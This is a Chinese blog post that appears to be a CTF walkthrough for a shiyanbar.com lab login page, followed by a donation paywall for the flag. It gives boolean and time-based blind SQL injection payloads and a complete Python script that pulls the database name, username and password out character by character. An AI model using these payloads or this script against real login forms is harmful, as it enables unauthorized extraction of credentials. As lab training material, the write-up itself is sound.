手工测试的时候发现过滤了select,
然后扔进sqlmap,发现不行。
所以在测试
admin=admin' and 1=1 and ''='
&password=
&action=login
的时候出现“登录失败,错误的用户名和密码”, 其他的话出现,”连接数据库失败“的字样。

并且在测试

admin=admin' and sleep(10) and ''='
&password=
&action=login

的时候,延迟了,所以存在基于布尔型,和基于时间的盲注。于是索性写脚本自己跑。

Python脚本如下:

#coding:utf-8
#author:ch3rry
import httplib
import time
import sys
payloads = list('1234567890()qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_@')
database = ''
a = '登录失败'
headers = {
			'Host': 'ctf5.shiyanbar.com',
			'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0',
			'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
			'Accept-Language': 'en-US,en;q=0.5',
			'Accept-Encoding': 'gzip, deflate',
			'Cookie': 'xxxxxxxx'   //填自己的cookies
			'Connection': 'keep-alive',
			'Upgrade-Insecure-Requests': '1'
}
print 'Start to retrive the Mysql database() || username || password:'
for i in range(1,15):
	for payload in payloads:
		#urls = "/basic/inject/index.php?admin=admin'+and+substr(database(),%s,1)='%s'+and+''='&pass=&action=login" %(i,payload)   //database
		#urls = "/basic/inject/index.php?admin=admin'+and+substr(username,%s,1)='%s'+and+''='&pass=&action=login" %(i,payload)		//username
		urls = "/basic/inject/index.php?admin=admin'+and+substr(password,%s,1)='%s'+and+''='&pass=&action=login" %(i,payload)
		conn = httplib.HTTPConnection('ctf5.shiyanbar.com',timeout=10)
		conn.request(method='GET',url=urls,headers=headers)
		r = conn.getresponse().read().decode('gb2312')
		print '*',
		if a.decode('utf-8') in r:
			database +=payload
			sys.stdout.write('\n[+]'+ database)
			break
print '\n[Done] database is : '+database

Flag:

温馨提示: 此处内容需要评论本文后刷新才能查看,支付2元即可直接查看所有Flag。

小广告:关于获取西普实验吧所有Flag请点击这里查看索引

查看所有Flag文章需要输入密码,需要获取文章密码的童鞋请扫描下面微信或支付宝二维码捐助至少2元(老哥,捐多捐少是个缘分)之后发送支付凭证号联系我获取,Flag大全地址:Flag大全

新功能:捐款的小伙伴请联系我把自己的注册邮箱加入网站白名单,可以免回复看到本站所有Flag

PS:本站不是实验吧的官方站点,纯粹是个人博客,收取Flag费用仅是维持服务器费用,做站不易,且行窃珍惜!

微信二维码:
支付宝二维码: